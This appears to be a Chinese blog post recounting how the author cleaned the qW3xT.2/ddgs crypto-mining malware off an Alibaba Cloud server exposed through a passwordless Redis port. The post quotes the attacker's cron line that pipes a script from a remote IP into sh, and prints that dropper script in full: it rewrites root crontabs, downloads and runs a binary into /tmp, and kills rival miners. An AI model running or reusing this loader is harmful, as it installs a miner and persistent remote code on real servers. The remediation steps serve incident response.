在阿里云使用redis,开启了6379端口,但是当时并没有对redis的密码进行设置。
在晚上一点左右。阿里云给我发短信,告诉我服务器出现紧急安全事件。建议登录云盾-态势感知控制台查看详情和处理。
于是早上开启电脑,连接服务器,使用top查看cpu状态。结果显示进程占用cpu99%以上。
在网上百度,了解到qW3xT.2是一个挖矿病毒。也就是说别人利用你的电脑挖矿。谋取利益。
解决办法:
1、首先解决redis入口问题,因为最开始没有设置密码,所以首先修改redis.conf。设置密码,然后重启redis
2、进入/tmp文件夹下。发现qW3xT.2文件,删除。之后kill掉qW3xT.2该进程,但是一段时间之后,发现该行程又重新启动。
肯定是有守护进程,观察top命令下的进程,发现一个可疑的进行
3、在/tmp文件夹下发现该进程的文件
ls /tmp
发现qW3xT.2文件又重新生成了。这时,首先删除qW3xT.2文件和ddgs.3013文件,然后使用top查询qW3xT.2和ddgs.3013的pid,直接kill掉。
4、一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表
[root@iZbp1cbg04oh74k1dexpujZ tmp]# crontab -l
*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
删除计划任务
crontab -r
curl 的这几个 optional 介绍,我也是百度的
-f - fail在HTTP错误(H)上静默失败(根本没有输出)
-s -silent静音模式。 不要输出任何东西
–socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理
–socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理
–socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理
–socks5-hostname HOST [:PORT] SOCKS5代理,将主机名传递给代理
–socks5-gssapi-service名称为gssapi的SOCKS5代理服务名称
–socks5-gssapi-nec与NEC SOCKS5服务器的兼容性
-S --show-error显示错误。 使用-s时,make curl会在出现错误时显示错误
-L --location遵循重定向(H)
–location-trusted like --location并将auth发送给其他主机(H)
此时计划任务已经删除。详细信息查看https://juejin.im/post/5b62b975f265da0f9628a820。
计划任务删除完成之后,这个13又开始运行。太顽固了。
于是我又看计划任务的内容,是否是有东西没有删除干净。
[root@FantJ tmp]# curl -fsSL http://149.56.106.215:8000/i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
发现计划任务在服务器中创建了几个文件,
/var/spool/cron/crontabs/root
/var/spool/cron/root
内容是 */15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh 。(与计划任务相同)
将计划任务中创建的文件删除。
最终,这个挖矿病毒终于删除完成
若过一会进程还是出现了:
find / -name qW3xT.2
查找这个进程的文件在哪里,然后看看是不是有其他守护进程(我的守护进程是ddgs.3013
),可通过
ps -aux |grep ddg
查看,然后通过
pkill -9 ddgs.3013
杀死。再杀死
pkill qW3xT.2 -9
然后删除文件
rm -rf /tmp/qW3xT.2
查看其是否有定时任务,有就清除
crontab -e